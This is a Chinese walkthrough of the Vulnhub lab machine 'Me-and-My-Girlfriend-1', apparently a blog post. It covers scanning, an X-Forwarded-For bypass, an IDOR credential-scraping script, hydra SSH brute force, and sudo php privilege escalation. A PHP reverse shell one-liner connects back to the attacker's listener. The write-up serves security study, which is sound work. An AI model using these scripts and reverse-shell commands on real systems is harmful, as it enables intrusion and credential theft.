天行健,君子以自强不息
地势坤,君子以厚德载物

环境准备

Kali Linux(IP:10.10.16.128)
Me-and-My-Girlfriend-1 虚拟机
NAT 网络连接

主机发现

fping -g 10.10.16.0/24

得到靶机的 IP:10.10.16.148

端口扫描

nmap -A -v -sS -sV -p- -T4 10.10.16.148

靶机开放 22/80 端口

目录爆破

dirb http://10.10.16.148
nikto -h 10.10.16.148

得到目录:misc,config;文件:robots.txt,icons/README,heyhoo.txt

漏洞挖掘

① 访问目录

  1. robots.txt
    发现一个可访问的文件 heyhoo.txt
  2. heyhoo.txt
    提示要 getshell
  3. index.php
  4. 查看网页源代码
  5. HTTP X-Forwarded-For

X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP
X-Forwarded-For: client, proxy1, proxy
XFF 的内容由(英文逗号+空格)隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每一级代理设备的 IP

② 绕过限制

由首页的提示可以知道,访问该网站的 HTTP 请求端的真实 IP 是本地地址(locahost/127.0.0.1),可以有两种解决姿势。

burpsuite 在请求包添加 X-Forwarded-For:127.0.0.1 (每次访问都要添加)
插件添加:X-Forwarded,Modify Headers 等插件都可以为 HTTP 头部添加内容

这里使用 Modify Headers 插件

对 Login,Register,About 进行漏洞挖掘,SQL 注入,弱口令都无果,注册一个用户,信息任意。

注册后登录,发现一个 profile 链接,点击进去可以查看自己注册的信息,同时注意到 URL 中的 user_id ,尝试修改 user_id 的值,发现可以越权查看其他用户的值,说明此处存在一个水平越权的逻辑漏洞。

漏洞利用

  1. 利用以上的逻辑漏洞,可以修改 user_id 的值得到其他用户的帐密,然后记录下来。这里借鉴下他人的脚本。
import requests
from bs4 import BeautifulSoupif __name__ == '__main__':for user_id in range(1, 12):url = 'http://10.10.16.148/index.php?page=profile&user_id=' + str(user_id)response = requests.get(url, headers={'X-Forwarded-For': '127.0.0.1', 'Cookie': 'PHPSESSID=lit82unc72nj00iujm8q7an135'})dom = BeautifulSoup(response.content.decode('UTF-8'),"lxml")username = dom.find('input', id='username')['value']passwd = dom.find('input', id='password')['value']if username:print(username + ":" + passwd)

  1. 将得到的帐密保存在 zhutou.txt 文件中,字典格式为:账号:密码,使用 hydra 进行 ssh 登录爆破,得到一个可用帐密:alice/4lic3
hydra -C /文件目录/zhutou.txt ssh://10.10.16.148

  1. ssh 登录之后进入网站的根目录,可以看到在信息收集截断的目录爆破得到的一些目录和文件,打开 /config/config.php 得到数据库连接的设置:数据库登录的帐密和当前的数据库。
    登录数据库,查询信息,得到用户的帐密,除此之外没有其他有效信息。

  2. ls -la 查看所有信息,包括隐藏的目录/文件,得到 .my_secret 文件夹

  3. 进入 .my_secret 文件夹得到 flag1.txt

提权

① 直接提权 su

由前面 config.php 的帐密:root/ctf_pasti_bisa 登录

② 反弹 shell 提权

  1. 查看当前可以以 root 权限执行的命令,发现可以免密使用 root 权限执行 sudo + php 的相关命令。
sudo -l

  1. 在 Kali 先监听端口
nc -lvnp 6666
  1. 在靶机的 Alice 用户下创建一个 PHP 反弹 shell,指定 Kali 的 IP 和监听的端口,回车之后即可反弹 shell。
sudo /usr/bin/php -r '$sock=fsockopen("10.10.16.128",6666);exec("/bin/bash -i <&3 >&3 2>&3");'

总结

当然,还有其他的方法反弹 shell 。

                                                                                                                                          猪头2020.3.3

Me-and-My-Girlfriend-1相关推荐

  1. 2021牛客多校2 - Girlfriend(球体积交)

    题目链接:点击查看 题目大意:空间内有6个点,满足 ∣P1A∣≥k1∣P1B∣,∣P2C∣≥k2∣P2D∣|P_1A|\ge k_1|P_1B|,|P_2C|\ge k_2|P_2D|∣P1​A∣≥k ...

  2. 一本通1623Sherlock and His Girlfriend

    1623:Sherlock and His Girlfriend 时间限制: 1000 ms         内存限制: 524288 KB [题目描述] 原题来自:Codeforces Round ...

  3. 英读廊——吃醋的女朋友(A Jealous Girlfriend)

    * 用英语自身来理解和学习英语是最好的方式,<英读廊>是<满庭说英语>中的拓展阅读系列,这一系列的文章力求帮助大家在英语阅读能力上有所提升,并树立英语思维: * 推荐的阅读的方 ...

  4. CF776B Sherlock and his girlfriend

    Description Sherlock has a new girlfriend (so unlike him!). Valentine's day is coming and he wants t ...

  5. 基于 PyTorch 和神经网络给 GirlFriend 制作漫画风头像

    摘要:本文中我们介绍的 AnimeGAN 就是 GitHub 上一款爆火的二次元漫画风格迁移工具,可以实现快速的动画风格迁移. 本文分享自华为云社区<AnimeGANv2 照片动漫化:如何基于 ...

  6. 小学六年级的读者,自学计算机,会爬虫,搞崩过学校网站,还有 Girlfriend.....

    大家好,我是小林. 我之前遇到一个很奇怪的读者,他的头像是电影<V字仇杀队>里的面具. 感觉上去是一个黑客爱好者,不是一个好惹的家伙,小林看了瑟瑟发抖. 结果,他来了这么一句,「哥哥,在吗 ...

  7. CF776B Sherlock and his girlfriend 题解

    CF776B Sherlock and his girlfriend 题解 题目 链接 字面描述 题面翻译 题目描述 输入输出格式: 输入格式: 输出格式 说明与提示 题目描述 输入格式 输出格式 样 ...

  8. Vulnhub靶机渗透之Me and My Girlfriend

    本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描,请求重发,漏洞扫描 ...

  9. 2021牛客暑期多校训练营2 F Girlfriend (阿波罗尼斯圆+简单几何)

    F Girlfriend (阿波罗尼斯球+简单几何) 题目大意: 给定四个点,每两个点构成一个阿波罗尼斯球,求两圆相交部分的体积. 思路: 一看就是几何题啊,话不多说直接开淦... 首先对于阿波罗尼斯 ...

  10. 【2021牛客多校2】F-Girlfriend 计算几何

    2021牛客多校2-F F-Girlfriend 题目大意 给出四个点 A , B , C , D A, B, C, D A,B,C,D 另有两点 P 1 , P 2 P_1, P_2 P1​,P2​ ...

最新文章

  1. 计算机视觉:Bag of words算法实现图像识别与搜索
  2. HibernateSessionFactory的用法
  3. 使用CGlib出现java.lang.NoClassDefFoundError: org/objectweb/asm/Type异常
  4. Linux快速查看某条命令的版本和存放的位置(ls -l `which mvn`)
  5. TCP中的Flag options
  6. 【目标检测_keypoint based 方法系列】基于关键点的目标检测
  7. 应用性能问题解决实际案例
  8. java 数字计算精度问题
  9. 常见的6种MySQL约束
  10. Pycharm 加载pygame解决方案
  11. zblog主题php下载,免费ZBLOG PHP主题 - ZBP免费网站目录主题
  12. php7与mysql相关配置_PHP7连接mysql,文件配置问题
  13. 解决mysql编码问题_解决mysql乱码问题
  14. Ngnix 安装、信号量、虚拟主机配置
  15. 使用Resource Hacker 实现替换exe图标的
  16. html5毕业设计程序,网页毕业设计制作流程
  17. ThinkPHP在前台模板格式化输出时间
  18. 机器学习--sklearn(决策树)
  19. 盘点8个高效方法提高睾酮水平
  20. X280 工业4g路由器

热门文章

  1. 李开复有哪些地方做的不好
  2. 深圳大湾区美丽盛典献礼祖国70华诞——2019世界旅游小姐广东赛区•深港澳赛区联合总决赛华丽收官
  3. 我的世界虚拟服务器架设,我的世界Minecraft服务器架设教程_服务器怎么建立
  4. dm365 gpio按键驱动分析
  5. tf.Variable()函数
  6. JAVA知识点总结第二周
  7. 机动车行驶证OCR识别
  8. 基于Java swing 和多线程开发一个猜拳游戏:有甲乙双方猜拳,投注其中一方,猜赢家,猜中即赢,猜错即输.
  9. Drools常用属性
  10. html用unicode编码转换汉字,汉字与Unicode编码相互转换(Js版)